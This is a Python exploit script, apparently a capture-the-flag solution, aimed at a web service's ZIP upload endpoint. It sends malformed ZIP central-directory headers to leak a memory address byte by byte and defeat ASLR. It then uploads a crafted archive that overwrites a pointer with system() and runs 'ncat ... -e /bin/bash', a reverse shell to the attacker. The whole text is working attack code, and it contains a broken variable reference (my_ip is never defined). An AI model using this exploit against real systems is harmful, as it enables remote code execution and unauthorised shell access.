import requests import struct import zipfile ############## # PARAMETERS # ############## # Victim params ip = "127.0.0.1" port = 5000 url = f"http://{ip}:{port}/upload" # Reverse shell params ip = "127.0.0.1" my_port = 9001 ############# # LEAK ASLR # ############# guess = 0 leak = b"" size_chunk = 0x20 off_data = size_chunk * 2 stored_block_lfh = b'PK\x03\x04\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x1c\x00dummyUT\t\x00\x03\x8cb\xdee\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x009\t\xb4\x13' stored_block_cd = b'PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00dummyUT\x05\x00\x03\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00' cd = b"PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00C\x8a[X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%b\x18\x00%b\x00\x00\x00\x00\x00\x00\xa4\x81%blinpeas.shUT\x05\x00\x03>\x0b\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00" eocd = b"PK\x05\x06\x00\x00\x00\x00\x80\x00%b%b%b\x00\x00" lencd = len(cd % (b"00", b"00", b"0000")) leneocd = len(eocd % (b"00", b'0000', b'0000')) totsize = len(stored_block_lfh) totsize += len(stored_block_cd) totsize += lencd totsize += leneocd totsize += 8 # metadata of heap chunk while totsize & 0xf != 0: totsize += 1 off_data += totsize # offset to the beg of "data" off_data -= 0x18 # ajust to the beg of data.filename print(f"{hex(size_chunk)=}\n{hex(off_data)=}") for _ in range(8): off_data += 1 for guess in range(0x100): # Add a classical stored block to put the free address on the heap zip = stored_block_lfh zip += stored_block_cd # generate payload for the size and inject malicious cdh payload = (guess << 8) if len(leak): payload += leak[0] comp = (0x1000a - payload) % 0x10000 zip += cd % (struct.pack("H", payload), struct.pack("H", comp), struct.pack("I", off_data)) # Add EOCD zip += eocd % ( struct.pack("H", 2), struct.pack("I", lencd + len(stored_block_cd)), struct.pack("I", len(stored_block_lfh)) ) x = requests.post(url, files={'file': zip}) if "Error" not in x.text: print("Found correct guess:", hex(guess)) leak = guess.to_bytes(1, "big") + leak print(leak) leak_i = 0 for i in range(8): leak_i += leak[7-i] << (i*8) print(hex(leak_i)) ####################### # Craft malicious zip # ####################### l = 96 offset = -0x54670 free = leak_i system = struct.pack("Q", free + offset) command = b"ncat %b %b -e /bin/bash\x00" % (my_ip.encode(), str(my_port).encode()) payload = command + b"a" * (l - len(command)) + b"\x00"*4 + system with zipfile.ZipFile("payload.zip", "w", zipfile.ZIP_DEFLATED) as zipf: with zipf.open("payload.txt", "w") as f: f.write(payload) f.close() for i in range(1, 8): with zipf.open(f"dummy{str(i)}.txt", "w") as f: f.write(b"dummy") f.close() zipf.close() zip = b"" with open("payload.zip", "rb") as zipf: zip = zipf.read() zipf.close() off = zip.find(bytes([len(payload)])) print("Offset of payload size: " + hex(off)) zip = zip[:off] + b"\x24" + zip[off+1:] with open("payload.zip", "wb") as zipf: zipf.write(zip) zipf.close() print("payload.zip patched") print("You can start listening on port ", str(my_port)) input("Press any key when you are ready...") print("Sending payload...") x = requests.post(url, files={'file': zip}) print(x.text)